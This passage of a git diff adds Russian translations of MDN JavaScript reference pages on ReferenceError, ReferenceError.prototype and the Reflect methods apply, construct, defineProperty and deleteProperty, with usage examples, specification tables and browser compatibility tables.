+   <td>{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Определено как <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Определено как <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/referenceerror/index.html b/files/ru/web/javascript/reference/global_objects/referenceerror/index.html
new file mode 100644
index 0000000000..b7e2dbf000
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/referenceerror/index.html
@@ -0,0 +1,131 @@
+---
+title: ReferenceError
+slug: Web/JavaScript/Reference/Global_Objects/ReferenceError
+tags:
+  - Error
+  - JavaScript
+  - Object
+  - Reference
+  - ReferenceError
+translation_of: Web/JavaScript/Reference/Global_Objects/ReferenceError
+---
+<div>{{JSRef}}</div>
+
+<p>Объект <code><strong>ReferenceError</strong></code> представляет ошибку, возникающую при обращении к несуществующей переменной.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>new ReferenceError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</code></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>Необязательный параметр. Человеко-читаемое описание ошибки</dd>
+ <dt><code>fileName</code> {{non-standard_inline}}</dt>
+ <dd>Необязательный параметр. Имя файла, содержащего код, вызвавший исключение</dd>
+ <dt><code>lineNumber</code> {{non-standard_inline}}</dt>
+ <dd>Необязательный параметр. Номер строки кода, вызвавшей исключение</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Исключение <code>ReferenceError</code> выбрасывается при попытке обратиться к переменной, которая не была объявлена.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{jsxref("ReferenceError.prototype")}}</dt>
+ <dd>Позволяет добавлять свойства в объект <code>ReferenceError</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p>Глобальный объект <code>ReferenceError</code> не содержит собственных методов, однако, он наследует некоторые методы из цепочки прототипов.</p>
+
+<h2 id="Экземпляры_объекта_ReferenceError">Экземпляры объекта <code>ReferenceError</code></h2>
+
+<h3 id="Свойства_2">Свойства</h3>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype', 'Properties')}}</div>
+
+<h3 id="Методы_2">Методы</h3>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype', 'Methods')}}</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Перехват_ReferenceError">Перехват <code>ReferenceError</code></h3>
+
+<pre class="brush: js">try {
+  var a = undefinedVariable;
+} catch (e) {
+  console.log(e instanceof ReferenceError); // true
+  console.log(e.message);                   // "undefinedVariable is not defined"
+  console.log(e.name);                      // "ReferenceError"
+  console.log(e.fileName);                  // "Scratchpad/1"
+  console.log(e.lineNumber);                // 2
+  console.log(e.columnNumber);              // 6
+  console.log(e.stack);                     // "@Scratchpad/2:2:7\n"
+}
+</pre>
+
+<h3 id="Выбрасывание_ReferenceError">Выбрасывание <code>ReferenceError</code></h3>
+
+<pre class="brush: js">try {
+  throw new ReferenceError('Привет', 'someFile.js', 10);
+} catch (e) {
+  console.log(e instanceof ReferenceError); // true
+  console.log(e.message);                   // "Привет"
+  console.log(e.name);                      // "ReferenceError"
+  console.log(e.fileName);                  // "someFile.js"
+  console.log(e.lineNumber);                // 10
+  console.log(e.columnNumber);              // 0
+  console.log(e.stack);                     // "@Scratchpad/2:2:9\n"
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.6.3', 'ReferenceError')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-referenceerror', 'ReferenceError')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-referenceerror', 'ReferenceError')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+<p>{{Compat("javascript.builtins.ReferenceError")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("ReferenceError.prototype")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/referenceerror/prototype/index.html b/files/ru/web/javascript/reference/global_objects/referenceerror/prototype/index.html
new file mode 100644
index 0000000000..0c237f9c3c
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/referenceerror/prototype/index.html
@@ -0,0 +1,122 @@
+---
+title: ReferenceError.prototype
+slug: Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype
+tags:
+  - Error
+  - JavaScript
+  - Property
+  - Prototype
+  - ReferenceError
+translation_of: Web/JavaScript/Reference/Global_Objects/ReferenceError
+---
+<div>{{JSRef("Global_Objects", "Error", "EvalError,InternalError,RangeError,ReferenceError,SyntaxError,TypeError,URIError")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <code><strong>ReferenceError.prototype</strong></code> представляет прототип конструктора объекта {{jsxref("ReferenceError")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Все экземпляры {{jsxref("ReferenceError")}} наследуются от объекта <code>ReferenceError.prototype</code>. Вы можете использовать прототип для добавления свойств или методов ко всем экземплярам.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+<dl>
+ <dt><code>ReferenceError.prototype.constructor</code></dt>
+ <dd>Определяет функцию, создающую прототип экземпляра.</dd>
+ <dt>{{jsxref("Error.prototype.message", "ReferenceError.prototype.message")}}</dt>
+ <dd>Сообщение ошибки. Хотя стандарт ECMA-262 определяет, что {{jsxref("ReferenceError")}} должен предоставлять своё собственное свойство <code>message</code>, в <a href="/ru/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> он наследует свойство {{jsxref("Error.prototype.message")}}.</dd>
+ <dt>{{jsxref("Error.prototype.name", "ReferenceError.prototype.name")}}</dt>
+ <dd>Название ошибки. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "ReferenceError.prototype.fileName")}}</dt>
+ <dd>Путь к файлу, в котором возникла эта ошибка. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "ReferenceError.prototype.lineNumber")}}</dt>
+ <dd>Номер строки в файле, в котором возникла эта ошибка. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "ReferenceError.prototype.columnNumber")}}</dt>
+ <dd>Номер колонки в строке, на которой возникла эта ошибка. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "ReferenceError.prototype.stack")}}</dt>
+ <dd>Стек вызовов. Унаследовано от {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+<p>Хотя объект прототипа {{jsxref("ReferenceError")}} не содержит собственных методов, экземпляры {{jsxref("ReferenceError")}} наследуют некоторые методы из цепочки прототипов.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Определено как <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Определено как <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/reflect/apply/index.html b/files/ru/web/javascript/reference/global_objects/reflect/apply/index.html
new file mode 100644
index 0000000000..927f5b52b8
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/reflect/apply/index.html
@@ -0,0 +1,101 @@
+---
+title: Reflect.apply()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/apply
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Reflect
+  - метод
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/apply
+---
+<div>{{JSRef}}</div>
+
+<p>Статический метод <code><strong>Reflect</strong></code><strong><code>.apply()</code></strong> вызывает переданную ему функцию с указанными аргументами.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-apply.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера находится в репозаитории GitHub. Если вы хотите внести свой вклад в интерактивные примеры, пожалуйста, клонируйте репозитроий <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправляйте нам pull request.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Reflect.apply(target, thisArgument, argumentsList)
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>target</dt>
+ <dd>Функция, которую необходимо вызвать.</dd>
+ <dt>thisArgument</dt>
+ <dd>Значение переменной <code>this</code> во время вызова функции <em><code>target</code></em>.</dd>
+ <dt>argumentsList</dt>
+ <dd>Объект, подобный массиву, содержащий аргументы, с которыми должна быть вызвана функция <em><code>target</code></em>.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Возвращается значение, которое вернёт функция <em><code>target</code></em> с указанным значением переменной <code><strong>this</strong></code> и аргументами.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<p>{{jsxref("TypeError")}}, если функция <code><em>target</em></code> не может быть вызвана.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>В ES5, обычно используется метод {{jsxref("Function.prototype.apply()")}}, чтобы вызвать функцию с указанным значением переменной <code>this</code> и <code>arguments</code>, переданными как массив (или <a href="/ru/docs/Web/JavaScript/Guide/Indexed_collections#Working_with_array-like_objects">массивоподобный объект</a>).</p>
+
+<pre class="brush: js">Function.prototype.apply.call(Math.floor, undefined, [1.75]);</pre>
+
+<p>С использованием <code>Reflect.apply</code> это действие становится более понятным и занимает меньше места в коде.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_Reflect.apply()">Использование <code>Reflect.apply()</code></h3>
+
+<pre class="brush: js">Reflect.apply(Math.floor, undefined, [1.75]);
+// 1;
+
+Reflect.apply(String.fromCharCode, undefined, [104, 101, 108, 108, 111]);
+// "hello"
+
+Reflect.apply(RegExp.prototype.exec, /вы/, ['<span class="_Tgc _s8w">превысокомногорассмотрительствующий</span>']).index;
+// 4
+
+Reflect.apply(''.charAt, 'пони', [3]);
+// "и"
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.apply', 'Reflect.apply')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.apply', 'Reflect.apply')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">Таблица поддержки браузерами на этой странице сгенерирована из структурированных данных. Если вы хотите внести свой вклад и добавить данные, пожалуйста, посетите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("javascript.builtins.Reflect.apply")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/reflect/construct/index.html b/files/ru/web/javascript/reference/global_objects/reflect/construct/index.html
new file mode 100644
index 0000000000..e5eaa5af39
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/reflect/construct/index.html
@@ -0,0 +1,151 @@
+---
+title: Reflect.construct()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/construct
+tags:
+  - ECMAScript6
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/construct
+---
+<div>{{JSRef}}</div>
+
+<p>Статический метод <code><strong>Reflect</strong></code><strong><code>.construct()</code></strong> работает как <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> operator</a>. Он эквивалентен <code>new target(...args)</code>. Это также дает дополнительную возможность указать другой прототип.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-construct.html")}}</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Reflect.construct(target, argumentsList[, newTarget])
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>Целевая функция для вызова.</dd>
+ <dt><code>argumentsList</code></dt>
+ <dd>Массивоподобный объект указывающий аргументы, с которыми <code>target</code> должна вызываться.</dd>
+ <dt><code>newTarget</code> {{optional_inline}}</dt>
+ <dd>Конструктор, чей прототип должен быть использован. Смотрите также <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new.target"><code>new.target</code></a> оператор. Если <code>newTarget</code> не указан, то используется <code>target</code>.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новый экземпляр <code>target</code> (или <code>newTarget</code>, если указан), инициализируется <code>target</code> как конструктор с заданными аргументами.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<p>Исключение {{jsxref("TypeError")}}, если <code>target</code> или <code>newTarget</code> не являются конструкторами.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p><code>Reflect.construct()</code> позволяет вам вызывать конструктор с любым числом аргументов (что также возможно с использованием <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax">spread syntax</a> вместе с <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> operator</a>).</p>
+
+<pre class="brush: js">var obj = new Foo(...args);
+var obj = Reflect.construct(Foo, args);
+</pre>
+
+<h3 id="Reflect.construct()_против_Object.create()"><code>Reflect.construct()</code> против <code>Object.create()</code></h3>
+
+<p>До появления <code>Reflect</code>, объекты могли быть созданы с использованием произвольной комбинации из конструктора и прототипа при помощи {{jsxref("Object.create()")}}.</p>
+
+<pre class="brush: js">function OneClass() {
+    this.name = 'one';
+}
+
+function OtherClass() {
+    this.name = 'other';
+}
+
+// Данный вызов:
+var obj1 = Reflect.construct(OneClass, args, OtherClass);
+
+// ...будет аналогичен данному:
+var obj2 = Object.create(OtherClass.prototype);
+OneClass.apply(obj2, args);
+
+console.log(obj1.name); // 'one'
+console.log(obj2.name); // 'one'
+
+console.log(obj1 instanceof OneClass); // false
+console.log(obj2 instanceof OneClass); // false
+
+console.log(obj1 instanceof OtherClass); // true
+console.log(obj2 instanceof OtherClass); // true
+</pre>
+
+<p>В любом случае, пока конечный результат один и тот же, существует одно важное отличие в этом процессе. При использовании <code>Object.create()</code> и {{jsxref("Function.prototype.apply()")}}, оператор <code>new.target</code> будет указывать на <code>undefined</code> внутри функции используемой в качестве конструктора, пока ключевое слово <code>new</code> не будет использовано для создания объекта.</p>
+
+<p>С другой стороны, в случае вызова <code>Reflect.construct()</code>, оператор <code>new.target</code> будет указывать на параметр <code>newTarget</code> если он задан, или <code>target</code> в отличном случае.</p>
+
+<pre class="brush: js">function OneClass() {
+    console.log('OneClass');
+    console.log(new.target);
+}
+function OtherClass() {
+    console.log('OtherClass');
+    console.log(new.target);
+}
+
+var obj1 = Reflect.construct(OneClass, args);
+// Вывод:
+//     OneClass
+//     function OneClass { ... }
+
+var obj2 = Reflect.construct(OneClass, args, OtherClass);
+// Вывод:
+//     OneClass
+//     function OtherClass { ... }
+
+var obj3 = Object.create(OtherClass.prototype);
+OneClass.apply(obj3, args);
+// Вывод:
+//     OneClass
+//     undefined
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использования_Reflect.construct()">Использования <code>Reflect.construct()</code></h3>
+
+<pre class="brush: js">var d = Reflect.construct(Date, [1776, 6, 4]);
+d instanceof Date; // true
+d.getFullYear(); // 1776
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.construct', 'Reflect.construct')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.construct', 'Reflect.construct')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.construct")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new.target"><code>new.target</code></a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/reflect/defineproperty/index.html b/files/ru/web/javascript/reference/global_objects/reflect/defineproperty/index.html
new file mode 100644
index 0000000000..b4d2cba107
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/reflect/defineproperty/index.html
@@ -0,0 +1,98 @@
+---
+title: Reflect.defineProperty()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/defineProperty
+tags:
+  - ECMAScript 2015
+  - Method
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/defineProperty
+---
+<div>{{JSRef}}</div>
+
+<p>Статический метод <code><strong>Reflect</strong></code><strong><code>.defineProperty()</code></strong> похож на {{jsxref("Object.defineProperty()")}}, но возвращает {{jsxref("Boolean")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-defineproperty.html")}}</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Reflect.defineProperty(<em>target</em>, <em>propertyKey</em>, <em>attributes</em>)
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>Объект, в котором определяется свойство.</dd>
+ <dt><code>propertyKey</code></dt>
+ <dd>Имя определяемого или изменяемого свойства.</dd>
+ <dt><code>attributes</code></dt>
+ <dd>Атрибуты для определяемого или изменяемого свойства.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Возвращается значение {{jsxref("Boolean")}}, указывающее было ли свойство успешно определено.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<p>Исключение {{jsxref("TypeError")}}, если <code>target</code> не является {{jsxref("Object")}}.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод <code>Reflect.defineProperty</code> позволяет точно дополнить или изменить свойство объекта. Для более подробной информации смотрите на аналогичный метод - {{jsxref("Object.defineProperty")}}. <code>Object.defineProperty</code> возвращает объект или выбрасывает исключение {{jsxref("TypeError")}}, если свойство не было успешно определено. <code>Reflect.defineProperty</code>, в любом случае, просто возвращает {{jsxref("Boolean")}}, указывающее было ли свойство успешно определено.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использования_Reflect.defineProperty()">Использования <code>Reflect.defineProperty()</code></h3>
+
+<pre class="brush: js">var obj = {};
+Reflect.defineProperty(obj, 'x', {value: 7}); // true
+obj.x; // 7
+</pre>
+
+<h3 id="Проверка_успешно_ли_было_определено_свойство">Проверка успешно ли было определено свойство</h3>
+
+<p>При использовании {{jsxref("Object.defineProperty")}}, который возвращал объект в случае успеха, либо выбрасывал исключение {{jsxref("TypeError")}}, вы должны были использовать конструкцию <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a></code> для того, чтобы поймать ошибку, которая случилась при определении свойства. Потому что <code>Reflect.defineProperty</code> возвращает {{jsxref("Boolean")}} в любом случае, вы можете использовать конструкцию <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else">if...else</a></code>:</p>
+
+<pre class="brush: js">if (Reflect.defineProperty(target, property, attributes)) {
+  // успех
+} else {
+  // неудача
+}</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.defineproperty', 'Reflect.defineProperty')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.defineproperty', 'Reflect.defineProperty')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.defineProperty")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/reflect/deleteproperty/index.html b/files/ru/web/javascript/reference/global_objects/reflect/deleteproperty/index.html
new file mode 100644
index 0000000000..64ba452ae5
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/reflect/deleteproperty/index.html
@@ -0,0 +1,92 @@
+---
+title: Reflect.deleteProperty()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/deleteProperty
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/deleteProperty
+---
+<div>{{JSRef}}</div>
+
+<p>Статический метод <code><strong>Reflect</strong></code><strong><code>.deleteProperty()</code></strong> позволяет удалять свойства из объекта. Реализация данной функции схожа с оператором <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete"><code>delete</code></a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-deleteproperty.html", "taller")}}</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Reflect.deleteProperty(<em>target</em>, <em>propertyKey</em>)
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>Целевой объект в котором будет удалено свойство.</dd>
+ <dt><code>propertyKey</code></dt>
+ <dd>Имя удаляемого свойства.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("Boolean")}} указывающий, было ли свойство успешно удалено.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<p>Исключение {{jsxref("TypeError")}}, если <code>target</code> не является {{jsxref("Object")}}.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод <code>Reflect.deleteProperty</code> позволяет вам удалить свойство объекта. Он возвращает {{jsxref("Boolean")}} указывающий, было ли свойство успешно удалено. Он так же идентичен оператору <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code> без использования строгого режима.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использования_Reflect.deleteProperty()">Использования <code>Reflect.deleteProperty()</code></h3>
+
+<pre class="brush: js">var obj = { x: 1, y: 2 };
+Reflect.deleteProperty(obj, 'x'); // true
+obj; // { y: 2 }
+
+var arr = [1, 2, 3, 4, 5];
+Reflect.deleteProperty(arr, '3'); // true
+arr; // [1, 2, 3, , 5]
+
+// Возвращает true даже если такого свойства не существует
+Reflect.deleteProperty({}, 'foo'); // true
+
+// Возвращает false если такое свойство ненастраивоемое
+Reflect.deleteProperty(Object.freeze({foo: 1}), 'foo'); // false
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.deleteproperty', 'Reflect.deleteProperty')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.deleteproperty', 'Reflect.deleteProperty')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.deleteProperty")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete"><code>delete</code> operator</a></li>
+</ul>
